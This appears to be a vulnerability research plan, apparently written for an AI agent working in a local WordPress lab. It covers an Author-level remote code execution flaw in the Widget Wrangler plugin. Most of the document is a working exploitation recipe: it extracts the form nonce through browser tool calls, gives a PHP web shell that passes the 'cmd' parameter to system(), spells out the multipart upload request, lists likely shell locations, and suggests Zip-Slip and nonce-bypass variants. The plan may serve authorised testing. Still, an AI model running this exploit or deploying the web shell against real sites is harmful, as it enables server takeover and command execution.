Widget Wrangler <= 2.3.9 - Authenticated (Author+) Remote Code Execution

Vulnerability Research Plan: CVE-2026-25447 - Widget Wrangler RCE

1. Vulnerability Summary

The Widget Wrangler plugin (versions <= 2.3.9) contains an authenticated Remote Code Execution (RCE) vulnerability due to an Unrestricted Upload of File with Dangerous Type. The plugin's import/export functionality fails to properly validate the file extensions of uploaded files and uses a capability check that allows users with Author level permissions (and above) to access the feature. This allows an attacker to upload a PHP file to the server and execute it by navigating to the file's URL.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin.php?page=ww_import_export (The import processing is handled via admin_init or a specific page POST).
• Vulnerable Action: The file upload handler within the widget import routine.
• HTTP Parameter: ww-import-file (File input name) or ww_import_file.
• Authentication Level: Author or above (Capability: edit_posts or edit_widgets).
• Preconditions: The plugin must be active. The attacker must have credentials for an account with at least Author-level privileges.

3. Code Flow (Inferred)

1. Entry Point: The plugin registers an admin page in admin/admin-menu.php (inferred) or the main class:
   add_submenu_page('edit.php?post_type=widget', 'Import/Export', ..., 'edit_posts', 'ww_import_export', 'ww_import_widgets_page');
2. Processing: In admin/import-export.php (inferred), an admin_init hook or a conditional check at the start of the page callback processes POST requests:

   // Inferred logic in Widget Wrangler <= 2.3.9
   if (isset($_POST['ww-import-submit'])) {
       $file = $_FILES['ww-import-file'];
       // VULNERABILITY: No extension validation (e.g., checking for .json or .txt)
       // AND No use of wp_handle_upload() which enforces security
       move_uploaded_file($file['tmp_name'], WW_UPLOAD_DIR . '/' . $file['name']);
   }
   

3. Sink: The move_uploaded_file call places the file into a web-accessible directory (e.g., /wp-content/uploads/ or /wp-content/plugins/widget-wrangler/tmp/).

4. Nonce Acquisition Strategy

The import form is protected by a WordPress nonce.

1. Identify Shortcode/Page: The nonce is present on the "Import/Export" page in the WordPress admin dashboard.
2. Access Strategy:
   • Since the target is an admin page (ww_import_export), the agent must navigate to the admin dashboard.
   • Browser Navigation: Use browser_navigate to reach http://localhost:8080/wp-admin/admin.php?page=ww_import_export.
   • Extraction: Use browser_eval to extract the nonce value from the hidden input field.
   • Verbatim Identifier (Inferred): The field is likely name="ww_import_nonce" or name="_wpnonce".
   • Script: browser_eval("document.querySelector('input[name=\"_wpnonce\"]').value").

5. Exploitation Strategy

1. Authentication: Authenticate the http_request session as an Author user.
2. Discovery: Navigate to the Import page to confirm accessibility and extract the nonce.
3. Payload Preparation: Create a simple PHP web shell: <?php echo "VULN_CHECK: " . system($_GET['cmd']); ?>.
4. Multipart POST Request:
   • URL: http://localhost:8080/wp-admin/admin.php?page=ww_import_export
   • Method: POST
   • Headers: Content-Type: multipart/form-data
   • Body Parameters:
     • ww-import-submit: "Import" (or the value of the submit button).
     • _wpnonce: [EXTRACTED_NONCE]
     • ww-import-file: (The PHP file payload named rce.php).
5. Execution: Determine the upload location. Common paths for this plugin:
   • /wp-content/uploads/rce.php
   • /wp-content/plugins/widget-wrangler/admin/rce.php (if moved relative to file)
   • /wp-content/uploads/widget-wrangler/rce.php
6. Trigger: Use http_request (GET) to access the uploaded file with a command: ?cmd=id.

6. Test Data Setup

1. Create Author User:
   wp user create attacker attacker@example.com --role=author --user_pass=password123
2. Ensure Plugin is Active:
   wp plugin activate widget-wrangler
3. Identify Upload Dir: Check if a specific upload directory needs to be writable.
   mkdir -p /var/www/html/wp-content/uploads/widget-wrangler && chmod 777 /var/www/html/wp-content/uploads/widget-wrangler

7. Expected Results

• Response to POST: A 200 OK or 302 Redirect, potentially with a "Widgets Imported" or "File Uploaded" message.
• Response to Payload Access: The output should contain the results of the id command (e.g., uid=33(www-data)), prefixed by VULN_CHECK: .

8. Verification Steps

1. Check Filesystem via CLI:
   ls -la /var/www/html/wp-content/uploads/rce.php
2. Check Plugin Directory:
   find /var/www/html/wp-content/ -name "rce.php"
3. Log Check: Check the web server error logs if the file returns a 404 to see where it attempted to write.

9. Alternative Approaches

• Zip-Slip / Archive Import: If the plugin expects a .zip file, check if it extracts files without path validation (Zip-Slip), allowing the placement of a PHP file in the plugin root.
• AJAX Endpoint: Check for wp_ajax_ww_import_widgets. If present, the request would be to admin-ajax.php with action=ww_import_widgets.
• Referer/Origin Bypasses: If the nonce check is weak, attempt the request from a frontend context if the Author has sufficient privileges.